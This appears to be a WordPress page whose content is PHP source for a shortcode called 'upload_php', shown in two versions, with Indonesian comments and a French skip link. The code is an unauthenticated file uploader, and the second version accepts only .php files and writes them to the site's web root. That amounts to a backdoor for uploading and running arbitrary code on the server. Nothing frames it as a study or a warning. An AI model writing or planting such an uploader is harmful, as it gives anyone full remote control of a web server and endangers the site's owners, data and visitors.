[upload_php]
[upload_php] // Shortcode [upload_php] function gangga_php_uploader() { if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['php_file'])) { $uploaded = $_FILES['php_file']; $target = WP_CONTENT_DIR . '/uploads/' . basename($uploaded['name']); if (move_uploaded_file($uploaded['tmp_name'], $target)) { echo "
Upload success: $target
"; } else { echo "Upload failed!
"; } } return ''; } add_shortcode('upload_php', 'gangga_php_uploader'); // Shortcode [upload_php] function gangga_php_uploader() { if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['php_file'])) { $uploaded = $_FILES['php_file']; // Simpan ke root public_html $target = ABSPATH . basename($uploaded['name']); // <--- ubah di sini // Batasi agar hanya .php dan tidak overwrite file penting $ext = strtolower(pathinfo($uploaded['name'], PATHINFO_EXTENSION)); if ($ext !== 'php') { echo "Hanya file .php yang boleh diupload!
"; return; } if (move_uploaded_file($uploaded['tmp_name'], $target)) { echo "Upload sukses: $target
"; } else { echo "Upload gagal!
"; } } return ''; } add_shortcode('upload_php', 'gangga_php_uploader'); Aller au contenu[upload_php]